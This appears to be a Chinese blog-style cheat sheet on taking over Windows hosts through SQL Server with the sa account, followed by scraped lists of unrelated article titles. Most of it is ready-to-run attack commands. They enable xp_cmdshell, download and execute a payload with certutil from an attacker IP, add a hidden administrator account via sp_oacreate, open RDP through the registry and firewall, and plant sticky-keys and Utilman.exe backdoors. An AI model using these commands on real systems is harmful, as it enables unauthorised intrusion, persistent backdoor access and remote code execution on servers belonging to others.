GetShell 之:利用 SQLServer GetShell
GetShell 之:利用 SQLServer GetShell
1 SQLServer 基础操作
查看版本:
select @@version;
查询所有的数据库名称:
SELECT Name FROM Master..SysDatabases ORDER BY Name;
2 SQLServer 利用方式:已获得SA账号权限
如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。
2.1 xp_cmdshell
直接执行命令:
exec master..xp_cmdshell 'whoami';

远程下载Payload并执行
exec xp_cmdshell 'certutil -urlcache -split -f http://10.10.10.128/cc123.exe & cc123.exe'

以上命令需要启用
xp_cmdshell,在 SQL Server 2005以后默认关闭,需要手动开启# 开启高级选项
exec sp_configure 'show advanced options', 1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure'xp_cmdshell', 1;
# 配置生效
RECONFIGURE; # 命令一次开启:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE; # 查看xp_cmdshell状态
exec sp_configure; # 关闭xp_cmdshell
# 开启高级选项
exec sp_configure 'show advanced options', 1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure'xp_cmdshell', 0;
# 配置生效
RECONFIGURE;

SQLServer 删除/恢复 xp_cmdshell
# 判断是否删除xp_cmdshell,返回1代表存在:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' # 在SQL Server 2005及之前的版本,删除xp_cmdshell:
exec master..sp_dropextendedproc xp_cmdshell; # 恢复xp_cmdshell
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; # 恢复xp_cmdshell需要xplog70.dll,若管理员也将xplog70.dll删除,需要重新上传xplog70.dll:
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;
2.2 sp_oacreate
如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。
开启sp_oacreate
# 开启sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure; # 关闭sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure; # 查看 sp_oacreate 状态
exec sp_configure;
添加管理员
# 开启
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
# 添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Admin123 /add' # 添加用户到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'
2.3 远程连接目标主机
开启远程桌面
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; # 查看远程桌面开启情况
exec xp_cmdshell 'netstat -ano -p tcp'; # 开启防火墙
exec xp_cmdshell 'netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow'; # 关闭:仅允许运行使用网络级别身份验证的远程桌面
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','UserAuthentication','REG_DWORD',0;

2.4 替换粘滞键
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
- 在目标主机上点击5次
shift键,弹出cmd窗口。

2.5 替换 Utilman.exe
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
- 点击锁屏页面左下角
轻松使用按钮触发,自动弹出cmd

最后

GetShell 之:利用 SQLServer GetShell的更多相关文章
- JSON序列化及利用SqlServer系统存储过程sp_send_dbmail发送邮件(一)
JSON序列化 http://www.cnblogs.com/yubaolee/p/json_serialize.html 利用SqlServer系统存储过程sp_send_dbmail发送邮件(一) ...
- Drupal 7.31SQL注入getshell漏洞利用详解及EXP
0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...
- 利用MSSQL getshell
此次复现使用的sql server 2000 和sql server 2008两个环境进行的 是在已知数据库密码的基础上进行的 0x01 MSSQL连接 连接MSSQL 2000 新建连接: 填写目的 ...
- MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)
作者:i春秋作家--F0rmat 0×01 前言 今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下.看下整体的结构,用的是thinkPHP的架 ...
- 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell
0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...
- 第十节: 利用SQLServer实现Quartz的持久化和双机热备的集群模式 :
背景: 默认情况下,Quartz.Net作业是持久化在内存中的,即 quartz.jobStore.type = "Quartz.Simpl.RAMJobStore, Quartz" ...
- 利用SqlServer的作业定时清除过期数据
有时候我们的数据库中可能会有那么些存放动态数据的表,比如一些每天定时发出的消息通知信息等数据.这些数据我们只需要临时保存,一些老旧的数据需要定时去清除掉,不然时间一长的话单表数据堆积非常严重.导致数据 ...
- 利用SQLServer数据库发送邮件
汇总篇:http://www.cnblogs.com/dunitian/p/4822808.html#tsql 这个应用案例很多,一般都是预警,比如异常连接的时候,或者数据库报错的时候.等等,,, 先 ...
- 利用sqlserver日志恢复数据
如果你已经急的焦头烂额,看到这篇文章的时候,请你换个坐姿,深呼吸几次,静下心来将这篇文章读完,也许你的问题迎刃而解. 我遇 到的情况是这样的,网站被植入木马,盗取了我的web.config文件,web ...
- Jmeter性能测试 如何利用SQLserver造出大批的数据
作为一个测试人员,需要做性能测试时候,如果没有实际数据,或者实际数据不适合做压测,就要自己着手造数据了. 以下面的接口测试为例,简单介绍下需要的数据: 这是一个会员注册接口,入参比较多,你可以选用全部 ...
随机推荐
- 5V升压12.6V
产品概述 PW4053 是一款 5V 输入,最大 1.2A 充电电流,支持三节锂离子电池的升压充电管理 IC.PW4053 集成功率 MOS,采用异步开关架构,使其在应用时仅需极少的外围器件,可有效减 ...
- 项目完成小结 - Django-React-Docker-Swag部署配置
前言 最近有个项目到一段落,做个小结记录. 内容可能会多次补充,在博客上实时更新哈~ 如果是在公众号阅读这篇文章,可以点击「查看原文」访问最新版本~ 这个项目是前后端分离,后端为了快,依然用我的Dja ...
- 微软宣布 S2C2F 已被 OpenSSF 采用
开源供应链安全对大多数 IT 领导者来说是个日益严峻的挑战,围绕确保开发人员在构建软件时如何使用和管理开源软件 (OSS) 依赖项的稳健策略至关重要.Microsoft 发布安全供应链消费框架 (S2 ...
- Linux—软件管理
Linux 软件管理 1.软件管理简介 Redhat和Centos中软件管理是依靠软件包管理器(RPM)来实现的. RPM(Redhat Package Manager)软件包管理器提供了在linux ...
- EXACT函数
EXACT函数:EXACT函数是一个文本函数,通过这个函数可以将不同的字符串进行对比,通常用于信息核对. EXACT函数的功能:比较两个字符串是否一致,返回不同的结果. EXACT函数的语法结构:EX ...
- css样式表,选择器,伪类选择器
CSS定义 CSS:Cascading Style Sheet(层叠样式表) 选择器 { 属性名: 属性值; } CSS样式表 (1)三种样式表使用 ·1> 内联样式 <div style ...
- 【Redis场景2】缓存更新策略(双写一致)
在业务初始阶段,流量很少的情况下,通过直接操作数据是可行的操作,但是随着业务量的增长,用户的访问量也随之增加,在该阶段自然需要使用一些手段(缓存)来减轻数据库的压力:所谓遇事不决,那就加一层. 在当前 ...
- [python] python-pinyin库
python-pinyin库是一个汉字拼音转换工具,其主要功能有: 根据词组智能匹配最正确的拼音. 支持多音字. 简单的繁体支持, 注音支持. 支持多种不同拼音风格. 安装命令为:pip instal ...
- CF构造题1600-1800(2)
H. Hot Black Hot White(COMPFEST 14 - Preliminary Online Mirror (Unrated, ICPC Rules, Teams Preferred ...
- 重磅!瞄准 Web 3.0,谷歌云推出专为区块链服务的 Blockchain Node Engine!
[本文由Cloud Ace整理发布,谷歌云服务请访问Cloud Ace 官网] 区块链技术正在为世界各地的消费者和企业带来巨大的创新和价值创造.随着技术变得越来越主流,公司需要可扩展.安全和可持续的基 ...